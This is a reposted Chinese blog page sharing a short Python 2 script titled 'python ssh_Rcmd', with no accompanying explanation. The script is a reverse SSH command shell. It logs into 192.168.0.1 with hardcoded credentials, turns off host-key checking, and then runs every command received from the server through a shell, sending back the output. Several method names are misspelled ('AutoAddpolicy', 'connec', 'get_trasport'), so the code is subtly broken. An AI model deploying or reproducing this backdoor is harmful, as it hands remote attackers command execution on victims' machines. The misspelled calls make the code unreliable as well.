码迷,mamicode.com
首页 > 编程语言 > 详细

python ssh_Rcmd

时间:2016-05-11 23:58:56      阅读:583      评论:0      收藏:0      [点我收藏+]

标签:password   command   python   justin   import   

import threading
import paramiko
import subprocess

def ssh_command(ip,user,passwd,command):
    client = paramiko.SSHClient()
    #client.load_host_keys(‘/home/justin/.ssh/known_hosts‘)
    client.set_missing_host_key_policy(paramiko.AutoAddpolicy())
    client.connec(ip,username=user,password=passwd)
    ssh_session = client.get_trasport().open_session()
    if ssh_session.active:
        ssh_session.send(command)
        print ssh_session.recv(1024)
        while True:
            command = ssh_session.recv(1024)#get the command from the SSHserver
            try:
                cmd_output = subprocess.check_output(command,shell=True)
                ssh_session.send(cmd_output)
            except Exception,e:
                ssh_session.send(str(e))
        client.close()
    return

ssh_command(‘192.168.0.1‘,‘justin‘,‘lovethepython‘,‘ClientConnected‘)


本文出自 “专注php” 博客,请务必保留此出处http://jingshanls.blog.51cto.com/3357095/1772412

python ssh_Rcmd

标签:password   command   python   justin   import   

原文地址:http://jingshanls.blog.51cto.com/3357095/1772412

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!